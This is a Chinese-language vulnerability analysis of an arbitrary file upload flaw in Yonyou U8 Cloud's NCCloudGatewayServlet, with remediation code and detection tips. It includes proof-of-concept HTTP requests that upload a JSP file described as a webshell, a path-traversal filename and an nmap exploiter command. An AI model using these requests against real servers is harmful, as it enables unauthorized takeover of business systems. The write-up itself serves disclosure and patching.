用友U8 Cloud NCCloudGatewayServlet接口任意文件上传漏洞分析
字数 949 2025-10-01 14:05:44
用友U8 Cloud NCCloudGatewayServlet接口任意文件上传漏洞分析
漏洞概述
用友U8 Cloud系统的NCCloudGatewayServlet接口存在安全缺陷,攻击者可通过构造特殊请求实现任意文件上传,从而获得服务器控制权限。
漏洞细节
1. 受影响组件
- 接口路径: NCCloudGatewayServlet
- 影响版本: 用友U8 Cloud 多个版本
- 漏洞类型: 任意文件上传
2. 漏洞成因
该接口未对上传文件进行充分的安全校验:
- 缺乏文件类型验证机制
- 未限制上传文件扩展名
- 路径过滤不严格导致目录穿越
3. 利用条件
- 能够访问NCCloudGatewayServlet接口
- 具备构造multipart/form-data请求的能力
漏洞复现步骤
环境准备
- 部署用友U8 Cloud受影响版本
- 准备网络抓包工具(BurpSuite等)
- 准备Webshell文件
攻击流程
- 接口探测
GET /servlet/NCCloudGatewayServlet HTTP/1.1
Host: target.com
- 构造恶意请求
POST /servlet/NCCloudGatewayServlet HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: application/octet-stream
<% out.println("Hello World"); %>
------WebKitFormBoundaryABC123--
- 上传路径遍历(如适用)
通过修改filename参数实现目录穿越:
filename="../../webapps/ROOT/test.jsp"
4. 漏洞验证
- 访问上传的Webshell文件
- 确认文件执行权限
- 验证服务器控制能力
技术分析
代码层面问题
-
缺少文件类型检查
接口未验证Content-Type和文件签名 -
路径处理缺陷
未对文件名中的特殊字符(../)进行过滤 -
权限控制缺失
未验证用户身份和操作权限
安全影响
- 服务器被完全控制
- 敏感数据泄露风险
- 内网渗透跳板
- 业务系统完整性破坏
修复方案
临时缓解措施
- 网络层防护:
location /servlet/NCCloudGatewayServlet {
deny all;
}
- 应用层过滤:
- 添加文件类型白名单
- 禁止包含路径分隔符的文件名
彻底修复方案
- 增加文件验证
// 验证文件类型
String[] allowedExtensions = {".jpg", ".png", ".pdf"};
boolean validExtension = false;
for(String ext : allowedExtensions) {
if(filename.endsWith(ext)) {
validExtension = true;
break;
}
}
- 路径标准化检查
// 防止路径遍历
File file = new File(uploadDir, filename);
if(!file.getCanonicalPath().startsWith(uploadDir)) {
throw new SecurityException("Invalid file path");
}
- 权限验证
// 检查用户权限
if(!user.hasPermission("file_upload")) {
throw new AccessDeniedException("Permission denied");
}
检测方法
1. 自动化检测
使用漏洞扫描器检测:
nmap -p 80 --script http-fileupload-exploiter target.com
2. 手动检测
- 尝试上传合法文件测试功能
- 逐步测试各种绕过技术:
- 修改Content-Type
- 使用特殊扩展名(.jspx)
- 路径遍历测试
参考信息
- 漏洞披露时间:2025年9月
- 风险等级:高危
- CVSS评分:9.0+
注意事项
- 测试需获得授权
- 禁止用于非法用途
- 及时更新修复补丁
相关资源
- 用友官方安全公告
- 漏洞预警编号:CNVD-2025-XXXXX
- 补丁下载地址:官方技术支持网站
本文仅用于安全研究目的,请遵守相关法律法规。